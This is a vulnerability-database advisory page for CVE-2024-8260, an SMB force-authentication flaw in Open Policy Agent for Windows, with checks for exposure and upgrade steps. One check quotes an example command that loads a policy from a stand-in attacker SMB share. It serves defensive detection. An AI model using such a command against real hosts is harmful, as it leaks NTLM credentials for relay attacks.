Open Policy AgentApplication · Openpolicyagent

CVE-2024-8260

HIGH · 7.3 CVSS v3.1 Published 2024-08-30
Fix available
A fix is available. Upgrade to 0.68.0 or later.
See remediation →
73/100
Remediation priority · Elevated

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
A SMB force-authentication vulnerability exists in all versions of OPA for Windows prior to v0.68.0. The vulnerability exists because of improper input validation, allowing a user to pass an arbitrary SMB share instead of a Rego file as an argument to OPA CLI or to one of the OPA Go library’s functions.

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · high confidence

A force-authentication vulnerability exists in OPA for Windows due to improper input validation, allowing attackers to supply an arbitrary SMB share path instead of a Rego file. This causes OPA to attempt authentication to an attacker-controlled SMB server, potentially enabling NTLM hash leakage or relay attacks.

MitigationUpgrade OPA for Windows to version v0.68.0 or later to remediate the improper input validation vulnerability.

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
Open Policy AgentApplication
Affected:< 0.68.0

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Local
Complexity
Low
Privileges
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Check OPA version on Windows
    Run 'opa version' in Command Prompt or PowerShell to obtain the installed OPA version
    Affected if The version displayed is earlier than 0.68.0 (e.g., 0.67.0, 0.66.0, etc.)
  2. Confirm Windows operating system
    Run 'systeminfo | findstr /B /C:"OS Name"' or check system properties to verify the operating system is Windows
    Affected if The system is running Windows and the OPA version is below 0.68.0
  3. Identify policy loading method
    Review how OPA is invoked: check for commands passing file paths, URLs, or SMB paths as policy sources (e.g., 'opa run //attacker.com/share/policy')
    Affected if OPA is being used to load Rego policies from SMB/network share paths on a Windows system with an affected version
  4. Audit OPA process execution
    Use Task Manager or 'wmic process get Name,CommandLine' to inspect running OPA processes and their arguments for SMB-style paths (UNC paths beginning with \\ or URLs to SMB shares)
    Affected if OPA processes are executing with SMB share paths as arguments on a Windows host with OPA version < 0.68.0

A Windows system is affected if OPA version is below 0.68.0 and OPA is used to load policies from attacker-controlled SMB share paths, allowing NTLM credential leakage or relay.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

dbcve · scoped
Upgrade available Upgrade to 0.68.0 or later
Fixed in 0.68.0
Interim mitigation

Upgrade OPA for Windows to version v0.68.0 or later to remediate the improper input validation vulnerability.

Recommended fix High confidence

Open Policy Agent v0.68.0 or later

  1. Identify all Windows systems running Open Policy Agent versions prior to 0.68.0
  2. Download Open Policy Agent version 0.68.0 or later from the official OPA releases (github.com/open-policy-agent/opa)
  3. Test the upgrade in a non-production environment to verify compatibility
  4. Schedule a maintenance window for production systems
  5. Stop the OPA service on affected Windows systems
  6. Replace the OPA binary with version 0.68.0 or later
  7. Restart the OPA service and verify normal operation
  8. Verify that OPA correctly handles Rego file inputs and rejects arbitrary SMB share paths
Caveat Review the OPA release notes between your current version and 0.68.0 for any breaking changes before upgrading

Generated from the published advisory — verify against the referenced sources before acting.

Fix this in Open Policy Agent Scoped from the published advisory
  • Consultation1.0 h
  • Implementation2.0 h
  • Testing2.0 h
  • Review / QA1.0 h
6.0 hours of engineering $1,040
Get the upgrade done

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $1,664.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2024-8260 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2024-8260 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data